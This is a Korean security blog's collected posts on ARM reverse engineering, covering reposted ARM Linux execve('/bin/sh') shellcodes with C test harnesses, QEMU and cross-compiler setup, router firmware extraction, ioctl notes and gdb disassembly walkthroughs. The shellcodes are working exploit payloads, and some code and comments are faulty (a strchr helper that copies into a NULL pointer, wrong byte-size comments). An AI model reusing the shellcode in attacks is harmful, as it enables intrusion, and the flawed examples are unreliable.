	root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
	root@ARM9:/home/jonathan/shellcode/shell# ./shell 
	# exit
	root@ARM9:/home/jonathan/shellcode/shell#

	We can verify that the shellcode contains no null bytes !!

	    8054:	e28f3001 	add	r3, pc, #1
	    8058:	e12fff13 	bx	r3
	    805c:	4678      	mov	r0, pc
	    805e:	300a      	adds	r0, #10
	    8060:	9001      	str	r0, [sp, #4]
	    8062:	a901      	add	r1, sp, #4
	    8064:	1a92      	subs	r2, r2, r2
	    8066:	270b      	movs	r7, #11
	    8068:	df01      	svc	1
	    806a:	2f2f      	cmp	r7, #47
	    806c:	6962      	ldr	r2, [r4, #20]
	    806e:	2f6e      	cmp	r7, #110
	    8070:	6873      	ldr	r3, [r6, #4]

	So this is it, to find more ARM shellcodes please browse to: http://www.shell-storm.org/search/index.php?shellcode=arm



	IV - References
	================

	[x] http://www.shell-storm.org

	[1] http://fr.wikipedia.org/wiki/Architecture_ARM

	[2] http://nibbles.tuxfamily.org/?p=620

	[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)

	[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)

Posted by k1rha
2012. 11. 13. 01:05

/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
Date:      2010-08-31
Tested on: ARM926EJ-S rev 5 (v5l)
Author:    Jonathan Salwan - twitter: @jonathansalwan
 
shell-storm.org
 
Shellcode ARM with not a 0x20, 0x0a and 0x00
 
 
Disassembly of section .text:
 
00008054 <_start>:
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   4678        mov r0, pc
    805e:   3008        adds    r0, #8
    8060:   1a49        subs    r1, r1, r1
    8062:   1a92        subs    r2, r2, r2
    8064:   270b        movs    r7, #11
    8066:   df01        svc 1
    8068:   622f        str r7, [r5, #32]
    806a:   6e69        ldr r1, [r5, #100]
    806c:   732f        strb    r7, [r5, #12]
    806e:   0068        lsls    r0, r5, #1
 
*/
 
#include <stdio.h>
 
 
 
char SC[] = "\x01\x30\x8f\xe2"
            "\x13\xff\x2f\xe1"
            "\x78\x46\x08\x30"
            "\x49\x1a\x92\x1a"
            "\x0b\x27\x01\xdf"
            "\x2f\x62\x69\x6e"
            "\x2f\x73\x68";
 
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

Posted by k1rha
2012. 11. 12. 17:00

/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes
Date:      2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author:    midnitesnake
 
00008054 <_start>:
    8054:       e28f6001        add     r6, pc, #1
    8058:       e12fff16        bx      r6
    805c:       4678            mov     r0, pc
    805e:       300a            adds    r0, #10
    8060:       9001            str     r0, [sp, #4]
    8062:       a901            add     r1, sp, #4
    8064:       1a92            subs    r2, r2, r2
    8066:       270b            movs    r7, #11
    8068:       df01            svc     1
    806a:       2f2f            .short  0x2f2f
    806c:       2f6e6962        .word   0x2f6e6962
    8070:       00006873        .word   0x00006873
*/
#include <stdio.h>
 
char *SC =      "\x01\x60\x8f\xe2"
                "\x16\xff\x2f\xe1"
                "\x78\x46"
                "\x0a\x30"
                "\x01\x90"
                "\x01\xa9"
                "\x92\x1a"
                "\x0b\x27"
                "\x01\xdf"
                "\x2f\x2f"
                "\x62\x69"
                "\x6e\x2f"
                "\x73\x68\x00\x00";
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

Posted by k1rha
2012. 11. 12. 16:16

qemu 란 가상 에뮬레이터이다.

arm-server를 구축하기 위해서 qemu를 설치하고 그안에서 arm-linux를 돌리는것이다. 


ARM proceccer 의 관심도가 높아짐에 따라 qemu for window 라고하여 window 에서 qemu arm 서버를 돌리게 도와주는 프로그램을 흔히 구할수 있게 된다.

하지만 이는 네트워킹이 잘안되게 되는데 아래와 같은 방법으로 해결 할 수 있다.


 RUN.bat 파일을 netepad 등으로 연다.그럼 아래와 같은 설정파일이나온다.

REM Start qemu on windows.

@ECHO OFF


REM SDL_VIDEODRIVER=directx is faster than windib. But keyboard cannot work well.

SET SDL_VIDEODRIVER=windib


REM SDL_AUDIODRIVER=waveout or dsound can be used. Only if QEMU_AUDIO_DRV=sdl.

SET SDL_AUDIODRIVER=dsound


REM QEMU_AUDIO_DRV=dsound or fmod or sdl or none can be used. See qemu -audio-help.

SET QEMU_AUDIO_DRV=dsound


REM QEMU_AUDIO_LOG_TO_MONITOR=1 displays log messages in QEMU monitor.

SET QEMU_AUDIO_LOG_TO_MONITOR=0



REM qemu-system-arm.exe  -L . -kernel integratorcp.zImage -initrd arm_root.img -M integratorcp1026

REM qemu-system-arm.exe -M versatilepb -m 16 -kernel flash.bin -append "clocksource=pit quiet rw lpj=1523712"


QEMU_ARM\qemu-system-arm -M versatilepb -kernel QEMU_ARM\vmlinuz-2.6.26-2-versatile -redir tcp:8080::80 -redir tcp:22222::22 -initrd QEMU_ARM/initrd.img-2.6.26-2-versatile -hda QEMU_ARM\debian_lenny_arm_standard.qcow2 -append "root=/dev/sda1"


그리고 위에 파란 부분을 추가해주면 포트포워딩이 된다.





우분투에서 qemu 설치법은 설치법은 다음과 같다


 #apt-get install qemu

#apt-get install qemu-kvm

#wget http://wiki.qemu.org/download/arm-test-0.2.tar.gz

#tar xvfz arm-test-0.2.tar.gz

#cd arm-test


#apt-get install qemu-kvm-extras



#qemu-system-arm -kernel zImage.integrator -initrd arm_root.img -redir tcp:5555:22




Posted by k1rha
2012. 11. 7. 04:29

strchr() 의 사용 법




하지만 이를 해결 하는 정형화된 방법이 있다. 바로 strchar 를 이용한 방법이다.

아래 예제코드로 한번해 이해하자.


char *strbetween(char *srcString,char startChar ,char endChar){


char *ptr1=NULL;

char *ptr2=NULL;


memcpy(ptr1,srcString,strlen(srcString));


ptr1=strchr(srcString,startChar+1);

ptr2=strchr(ptr1,endChar);


if(ptr1 && ptr2){

strtok(ptr1,ptr2);

}else{

ptr1=NULL;

}

return ptr1;

}


간단하게 짜본 코드인데, 사이값을 반환해주는 함수이게되는데 strchr는 그값의 포인터를 반환해 줌으로써 가능해 지게 된다. 

이 코드는 주로 ptr1 ptr2 차이 값을 가지고 판단하는 코드와  따라 다니는 경향이 있는것 같다.

분석할 때 if 문내에 이런점을 주의깊게 보자!



Posted by k1rha
2012. 11. 6. 22:45

#define LOWORD(l) ((WORD)(l))  //하위 4바이트

#define HIWORD(l) ((WORD(***DWORD)(l)>>16) & 0xffff)) --상위 4바이트

#define LOBYTE(w) ((BYTE)(w)) //하위 2바이트

#define HIBYTE(w) ((BYTE)(((WORD)(w)>>8)&0xff)) //상위 2바이트


ex)

if(LOBYTE((&char__content_type)[v14]==43)


Posted by k1rha
2012. 11. 6. 17:24

 

그냥 check 섬이라는 말도 있고 여기서 말하는대로라면 무결성을 위한 고유한 디바이스 값정도가 될듯하다..

 

Posted by k1rha
2012. 11. 6. 15:41

펌웨어에서 디바이스 제어 시 read() write() 만으로 해결 안되는 문제에 도달했을때 우리는 ioctl() 을 사용하여 해결 할수 있다.

 

[출처 : http://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/device-understanding.html]

 

모듈은 등록될 때 디바이스 번호를 등록하고 이와 함께 file_operations 라는 구조체를 커널에 알려준다. file_operations는 include/linux/fs.h에 정의되어 있고 다음과 같다.

/*
 * NOTE:
 * read, write, poll, fsync, readv, writev can be called
 *   without the big kernel lock held in all filesystems.
 */
struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);
	ssize_t (*read) (struct file *, char *, size_t, loff_t *);
	ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
	int (*readdir) (struct file *, void *, filldir_t);
	unsigned int (*poll) (struct file *, struct poll_table_struct *);
	int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
	int (*mmap) (struct file *, struct vm_area_struct *);
	int (*open) (struct inode *, struct file *);
	int (*flush) (struct file *);
	int (*release) (struct inode *, struct file *);
	int (*fsync) (struct file *, struct dentry *, int datasync);
	int (*fasync) (int, struct file *, int);
	int (*lock) (struct file *, int, struct file_lock *);
	ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
	ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
	ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
	unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
};

 

 

 

 

 

int main()
{
int fd; char buf[256];

fd = open("/dev/hdd_info", O_RDWR);
ioctl(fd, 0, buf);

printf("buf : %s\n", buf);
close(fd);
return 0;
}

 

ioctl로 장치에게 동작 명령 내리고 출력하고 다시 장치를 닫는 코드이다.

 

ioctl은 장치에게 그냥 이미 정의되어있는 명령을 내리는(함수를 호출하는) 놈이라는 것을 알게 되었다

대신 장치를 우선 open으로 열고 인자로 그 file descriptor랑 가운데 request number를 넣어서 어떤 함수를 호출할지를 정하여 호출한다.

Posted by k1rha
2012. 10. 31. 14:18

우선 타겟은 공유기의 펌웨어로 하여 진행을 하고 있다.

우선 펌웨어 분석툴인 firmware-mod-kit 을 이용하여 파일을 디패키징 한다. 


설치법은 다음과 같다.

(설치환경은 Ubuntu 11) 


# svn checkout http://firmware-mod-kit.googlecode.com/svn/ firmware-mod-kit-read-only

svn 을 이용하여 쭉~ 설치 .


  # cd firmware-mod-kit-read-only/

  # cd trunk/

  #  ./extract-ng.sh ../../../g1*******.bin 



 root@ubuntu:/home/iptime/toolkit/firmware-mod-kit-read-only/trunk# ./extract-ng.sh ../../../g1*******.bin 

Firmware Mod Kit (build-ng) 0.78 beta, (c)2011-2012 Craig Heffner, Jeremy Collake

http://www.bitsum.com


Scanning firmware...


DECIMAL    HEX        DESCRIPTION

-------------------------------------------------------------------------------------------------------

720896     0xB0000    Squashfs filesystem, little endian, version 3.0, size: 1201395 bytes, 243 inodes, blocksize: 65536 bytes, created: Tue Apr 12 00:55:31 2011


Extracting 720896 bytes of  header image at offset 0

Extracting squashfs file system at offset 720896

Extracting 160 byte footer from offset 1925152

Extracting squashfs files...

Firmware extraction successful!

Firmware parts can be found in 'fmk/*'


root@ubuntu:/home/****/toolkit/firmware-mod-kit-read-only/trunk/fmk/rootfs# ls -al

total 40

drwxr-xr-x 10 root root 4096 2011-04-12 00:55 .

drwxr-xr-x  5 root root 4096 2012-10-30 22:07 ..

drwxr-xr-x  3  510  504 4096 2011-04-12 00:55 bin

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 help

drwxr-xr-x  2 root root 4096 2011-04-12 00:55 images2

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 js

drwxr-xr-x  3  510  504 4096 2011-04-12 00:55 lib

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 ndbin

drwxr-xr-x  2  510  504 4096 2011-04-12 00:55 sbin

drwxr-xr-x  4  510  504 4096 2011-04-12 00:55 usr



잘 인해가 안되는것은, 같은 펌웨어 인데 버젼에 따라 패키지가 디패키징 되는 버젼이 있고 안되는 버젼이 있다는 것이다.

패킹문제인가.. 이 차이를 알고 계시는분은 연락주시면 밥한끼 사겠습니다.


E-mail :  k1rha@hacktizen.com 



Posted by k1rha
2012. 10. 23. 22:03

참고로 필자의 서버환경은 32bit -  우분투 11 버젼을 활용하였다.


기본적으로 우분투는 apt-get 을 이용하여 크로스 컴파일 환경 구축을 간편하게 해줄 수 있다.


------------------------------------------------------------------------------------------

root@ubuntu:~/test# apt-get install gcc-arm-linux-gnueabi


이후 간편성을 위해 심볼릭 링크 정도 걸어두면 편하다.


root@ubuntu:~/test# whereis arm-linux-gnueabi-gcc


arm-linux-gnueabi-gcc: /usr/bin/arm-linux-gnueabi-gcc /usr/share/man/man1/arm-linux-gnueabi-gcc.1.gz



root@ubuntu:~/test# ln -s arm-gcc /usr/bin/arm-linux-gnueabi-gcc


ln: creating symbolic link `/usr/bin/arm-linux-gnueabi-gcc': File exists

root@ubuntu:~/test# ln -s /usr/bin/arm-linux-gnueabi-gcc /usr/bin/arm-gcc

root@ubuntu:~/test# arm-gcc

arm-gcc: fatal error: no input files


------------------------------------------------------------------------------------------


우분투 환경이 아닐시엔 아래와 같은 바이너리 파일로 직접 다운받아 설치 하는 방법이 있다.

http://sourcery.mentor.com/public/gnu_toolchain/arm-none-linux-gnueabi/


위 주소에서 크로스 컴파일 bin 파일을 wget 하여 우분투로 옮긴다.




그다음 그것을 sh 로 실행 시켜 준다.


sh [파일명.bin] 

이후 나오는 질문들은 전부 Y나 엔터로 넘어갈 수 있다.

뒤 작업은 우분투와 동일하다.







Posted by k1rha
2012. 10. 15. 23:16

처음 gdb 로 들어와보면 다음과 같다. 

q


main+8 까지는 프롤로그 이고 

main+12 부분은 4바이트만큼 확장을 시키고 

main+16 부분에서 r3 에 r11 만큼을 빼어 16만큼 공간을 확보한뒤 r3 에 저장한다.

main+20  r0 에 pc 의 28의 오프셋인 Main+56 을 r0 에 저장한다.  (이부분에서는 %d 가 들어가 잇다.) 

main+24 r3의 값을 r1의 집어넣고  

main+28 scanf 의 반환값을 저장하고 호출한다.

main+32 scanf 인자값으로 r3 가 들어간듯하다.  이부분에서 5를 입력한뒤 r3ㄱ밧을 봐보면 5가 들어가 있다.

main+36 이 r3 값을 r0에 저장한다.

main+40 melong 이 호출된다. 인자값은 r0 하나 뿐인듯하다. 

main+44 main+40 에서 리턴값을 저장하고 함수를 들어간다.

main+48 r3 값에 0을 넣는다.

main+52 여기서부터는 에필로그이다. 



그렇다면 scanf 로 %d 를 인자값으로 받는 melong 함수를 봐보자. 




melong+8 여전히 main+8 가지는 프롤로그이고, 

melong+12 sp 에서 sp  + 8 바이트만큼 확장.. 무슨자료형일까.. double 인가?.. 

melong+16 r0 , 에서 무슨값을 가져와서~ 넣는다. 뭐냐하면? printf 전 r0 레지스터를 봐보면  input : %d\n 이다.

melong+20 들어온 값을 melong 88 지역엔 도데체 뭐가 든 걸까?.. 포인터로 추출해봐도 잘나오지 않음.

              어쨋거나 r0 값에는 %d\n 값이들어가 있고 r1에는 들어온 이자값이 들어가 있다.


melong+28 printf 를 호출하여 들어온 인자값을 출력한다.

melong+32 r3 값에 인자값으로 들어온 값을  넣는다.

melong+36 r3 값을 9와 비교해서 

melong+40 작거나 같으면 melong+60 으로 이동시키고.

<= 작거나 같은 경우 -------------------------

melong+44 클시에는 r3 에 0을 넣고.

melong+48 r3 값에 r11, 의 오프셋을 넣고. 이값에는 0 이 들어가 있다.

melong+52 r0 에 다시 0을 넣고 

melong+56 melong+80 을 호출하여 끝낸다. 

> 큰경우 ------------------------------------

melong+60 은 들어온 값을 r3에 넣고,

melong+64 r3 에 r3+1 을 집에 넣는다. ++ 증가 연산자.

melong+68 r11+16 위치에 r3 값을 다시 넣고, (증가한 값을 넣음)

melong+72 r0 값에 다시 증가한 값을 넣는다.

melong+76 그리고 다시 melong 호출.. 

melong+80 여기서 부턴 에필로그 부분이다. 




대충 그림을 그려보자. 


 #include<stdio.h>

int melong(int i){

printf("input :%d\n",i);

if(i>9)return 0;

else{

i=i+1;

melong(i);

}

}

int main(){

int i;

     scanf("%d",&i);

melong(i);

return 0;

}



CLEAR~! 


배운점 : le (작거나 같다 ) 는 어셈으로  크다를 표현하는 기준이다. 이게 늘 반대로 인기분.. 

melong(i++) 를 하지않고 i = i+1; 을 하고나서 melong(i++) 하는것은 다르다.  외부함수 역시 4바이트로 할당된다

Posted by k1rha
2012. 10. 11. 17:57

간단한 것부터 시작!! 분석을 해보자 .



-----------------------------------------------------------------------------------------------------------------

우선 main+8부분까지는 프롤로그 부분이니깐 생략한다. 

main+12 : sub 으로 4 byte 만큼만 빠지므로 변수가 전역변수로 4바이트 만큼 할당함을 알수 있다.  

main+16 : 이후 r3 레지스터에 0을 넣고 

main+20 : 이 값을 r11- 16 지점에 저장시킨다.


 test.c 를 만들어 테스트 해보았다. 

#include<stdio.h>

int main(){

   int i=0;

}

gdb )  를 하게되면 이것역시 r11-16에  0이란 값을 저장시킨다. 어떠한 영역인지는 아직 모르겠다. 

보통 변수값 저장은 r11-16 부터 시작되는 듯하다. 하지만 정확한 분석은 아니다. 


다시돌아와서 변수 선언은 안했었지만 r3에 0을 얺고 그 r3 값을 r11 의 주소값에 저장시켰다. 그리고 main+52를 호출한다.



========================  분기문 시작 =====================================

main+28 :  r0에 pc,#40 이 있는 on8430  주소값에 있는 값을 적재 시킨다  (이메모리영역은 texarea 영역인듯)

               이값을 x/s $r0 해서 보면 "this is very easy %d " 값이 나온다.


main+32 : r1 값에 , r11, -16 값을 넣는다. 이 값은 아까 선언했던 0 값이다.  즉 r1=0 이 된다.

main+36 : bl printf 이므로 돌아올 주소를 r14에 넣은뒤 printf 를 호출한다.  즉 this is very easy 0 이 뜨게 된다.

main+40 : r3값에 을 적재하고,

main+44 : r3 값에 r3 에 1을 더한값을 넣는다.

main+48 : r11-16 값에 r3를 적재시킨다. 


========================   분기문 도착 지역 =======================================

main+52 : r3에 r11-16 값을 적재 시킨다. (결국 r3= r3+1 이 되어있다.)

main+56 : r3 값을 9와 비교한다.

main+60 : 작거나 같으면 main+28을 호출하여 돌아간다.

main+64 : r3,#0 을 넣고 초기화 한다.

main+68 : r0 에 r3 값을, 0을 넣는다.


main+72.. 에필로그이다. 



--------------------------------------------------------------------------------------------------------

즉 분석만 딱봤을때 9보다 작거나 같을 동안 ++ 를 시켜가면서 this is very easy %d  를 호출하고 ++ 된 값을 뿌려주는 것을 알수 있다.



#include<stdio.h>

int main(){

for(int i=0;i<9;i++){printf("this is very easy %d\n",i);}

return 0;

}


그리도 다시 diass main 을 해봤다.


사실 대충 때리고 틀린 부분을 찾으려했는데 완전히 똑같이 나와 놀랐다. 



한가지 또 배운점은 void main() 과 int main() 에 관한 차이이다.

int main()은 함수로 선언되기 때문에 리턴형이 필요하므로 그 리턴형의 주소값을 sp,sp 4 만큼 빼줌으로써, 그값을 전달한다.

때문에 기본적으로 4 byte가 할당 되어 있는 것이다. 

하지만 return 0; 을 선언해 놓으면 컴파일러는 알아서 리턴할 함수가 없다는 것을 인식하고 이 할당한 버퍼의 크기를 없앤다.


void main() 의 경우는 리턴할 주소가 없기 때문에 애당초 4byte 의 크기 할당은 없다.

 







Posted by k1rha
2012. 10. 3. 23:06

ARM 공부를 함에 있어서 나름 외우기 쉽게 이해한 내용만 정리해 보는 장이다.


R15 = PC?!
R14 = Link Register? -> EBP ?!
R13 = SP?!
R12 =  ?! – 그냥 막쓰는 기분..
R0 = 값 저장 때 인자 값 1 2 3 으로 쓰이는 기분..
나만의 암기 법!
[buffer     ] ^ [EBP] [RET]
[  R8~R12 ] ^[R14] [R15]



Load 와 Store 개념은 포인터 개념도 있다. 

그리고 지역변수를 저장하거나 문자열을 저장할 일이 있으면 반드시 이작업을 거치는 것 같다. 


포인터와 비슷한 개념!!
[Rn]=*RN    [] 주소값! *는 가르키는 곳!
LDR  : Load Direct Register(주소 값을 담음)
Ex)LDR Rd,[Rn,offset] ; Rd:=*(Rn+offset)
LDR Rd,[Rn,offset]!   ;  Rn:=Rn+offset,Rd=*(Rn)
대상값을 업데이트!
STR Rd,[Rn,offset] ; *(Rn_offset) = Rd (적재!)
LDRB (LDR 의 바이트코드)
STRB (STR의 바이트 코드) 



연습해 봅시다.


#include<stdio.h>

Int main(){

  Printf(“aaaa”);

}

 #include<stdio.h>

Int main(){

  char buff[100];

  scanf(“%s”,buff);

}


각 어샘블리어는 다음과 같다


 




 
노란색 선부분은 정확히 파악은 안되었으나 현재 PC 값을 스택에 push 해 놓고 임시로 저장해 놓는것 같다.

INTEL CPU에 비교하면 프롤로그 부분이다.




 
아래부분이 버퍼를 선언하는 부분이다. 기본 4만큼 빼주는 부분과  scanf를 위해 버퍼크기를 100만큼 더 빼주는 부분을 scanf 부분만 볼 수 있다. 그리고 LDR 로 적재 시킨다. 

printf 하는 부분에 r0 값에는 aaaa 라는 값이 들어가 있음을 확인 할 수 있다. 이 텍스트 값역시 적재 되는것이다.


이 LDR 부분은 텍스트를 저장해놓거나 변수를 미리 선언해 놓았을때 항상 생긴다. 이러한 부분이 없다면 생기지 않는다.

예시코드는 아래에 설명 하겠다.





 위코드는 그냥 외부함수에 인자값 숫자 3개를 입력받아 출력해 주는 부분이다.


이부분에는 LDR 부분이 없고 r0 r1 r2 부분에 순차적으로 1 2 3 을 넣고 branch 로 test를 분기한다. 그러면 순서대로 들어가는 것이다. 


간단한 내용인데, ARM 환경을 접할 기회가 없다보니 비교만으로 분석을 하고 있게 된다. 좀 좋은 서적이 있으면 좋을거같은데.. 너무 전문서적말고 분석을 위한 서적이 있었음 좋겠다.



Posted by k1rha
2012. 9. 24. 21:45

[ 출처 : http://clarus.tistory.com/198 ] 


본 게시물은 위에 남긴 티스토리의 내용을 개인이 공부하기 편하게 요약 정리 해 놓은 판입니다.

위에 티스토리 글이 정리가 너무나 잘되어 있어서 공부하실 때 위에 것을 참조 하시는게 좋습니다.


본 내용은 어거지성 암기법도 들어가고 필자의 추측도 들어가 있습니다.

개인 공부용이니 너무 욕하지 말아주세요~


ARM Register Structure 


 1. Branch : 가지, 지사,분기


 2. DataProcessing  :데이터의 처리

    (MOV,MVN,CMP,CMN,TST,TEQ,ADD,SUB…)


 3. Load/Store : 적재, 저장

   (LDR,ADR)


 4. SWAP  : 교환


 5. PSR(MRS,MSR)  :


 6. SWI  : swich 의약자.


 7. DCD directives


 8. EXPORT, IMPORT   : 가져오기 내보내기


위에 써진 명령어들이 큰 주제들이다. 이것들을 하나씩 봐보도록 하겠다. 


[branch]  : 지사, 분기   (여기서는 분기란 의미로 사용 된다고 보면 편하다.)


     약어 : B(Branch) , L(Labeling) , X(eXchange)


B _printf ; _printf 로 점프하라


BL _printf ; R14 돌아올 주소를 Labeling 해놓고 이동한다.


BX _printf ; 현재 모드를 exchange 한다. (X : eXchange)


BLX _printf ; 두개의 짬뽕

 


 [Data Processing] : 데이터 처리 


  약어 : MOV(Move) , CMP(Compare) , MVN (MoVe NULL),SUB(SUBtraction), RSB(Reverse SuBstraction), ADD(Addition), BIC (Between ~~~)


[명령어 , 대상 레지스터 , 장난레지스터, 레지스터 or]

MOV R1,R2   ; R1:=R2

MVN R1,#0 ; R1:=0xFFFFFFFF

ADD R0,R1,R2 ; R0:=R1+R2

SUB R0,R1,#5  ; R0:=R1-5

RSB  R0,R2,R3 ; R0=R3-R2  (Reverse Sub)

AND R0,R2,R3 ; R0:=R2&R3

BIC  R0,R2,R3  ; R0:=R2 & ~R3 (R31이 들어있는 filed0)

CMP  R0,R2   ; R0>R2 면 다음조건에서 큰경우, 아니면 작은경우



 [Load / Store]

 

   약어  : LDR(LoaD Register), STR(STORE Register), B(Byte)


포인터와 비슷한 개념!!  : [Rn]=*RN    [] 주소값! *는 가르키는 곳!


LDR  : LoaD Register(주소 값을 담음)

Ex)LDR Rd,[Rn,offset] ; Rd:=*(Rn+offset)

LDR Rd,[Rn,offset]!   ;  Rn:=Rn+offset,Rd=*(Rn 대상값을 업데이트!

STR Rd,[Rn,offset] ; *(Rn_offset) = Rd (적재!)

LDRB (LDR 의 바이트코드)


STRB (STR의 바이트 코드)  



[SWAP]

  약어 : SWP (SWAP)


일반 메모리 영역과 register 를 바꿔 치기하는데 사용됨!

Ex)SWP R0,R1,[R2] : R0 = *(R2),*(R2)=R1


[R2] R0에 저장해 두고, [R2]R1을 넣음.


한데 R0R1에 넣진 않음..(why?!)



[PSR]


  약어 : CPSR(Copy ProceSs Register), SPSR


CPSR SPSR 두 개와 일반 Register사이의 값을 서로 복사 할 수 있는 명령어들

MRS R5,CPSR  : R5 : =CPSR

MSR CPSR,R5  : CPSR : = R5

S = PSR 을 의미하고 RRegister를 의미

Move Register PSR 이런 식으로 해석

CPSR_c(control)

CPSR_f(flag)

CPSR_cf(control,flag) 로 준비되어 있음.


  [SWI] : SoftWare Interrupt



Soft Ware Interrupt 명령은 Software가 일부러 Exception을 발생시킬수 있는 유일한 명령어.


보통 user mode 에서 다른 모드로 전환할때 사용. 가장 큰 용례로 kernel SVC mode 일반 application은 
user Mode 일때 일반 applicationkernel에게 뭔가 부탁할때 쓰임

EX) SWI 0x11 : Software Interrupt Handler 에서 0x11 번재 case를 호출함.





  [DCD] : Data Calloc Dimention


DCD  를 만나면 Data Calloc DIMENSION ~ 메모리를 배열처럼 할당해 주는 기분이다.

(여러 개를 늘어놓으면 여러 개의 ARRAY처럼 쓸 수 있다.)

DCB  1Byte 짜리 Data

DCW 2Byte 짜리 Data

DCD 4Byte 짜리 Data (& 값처럼 값을 미리 넣어둘 곳을 지정 가능)

DCQ 8Byte 짜리 Data (static으로 선언해주는 듯이 사용가능)

DCD&와 같다. 메모리 영역에 내가 원하는 값을 넣어 놓도록 메모리를 확보해 놔!



1차적으로 이해가 제대로 된부분은 여기까지라 여기까지만 정리해보고..담은 분석부터 차근차근!!

기대기대~




Posted by k1rha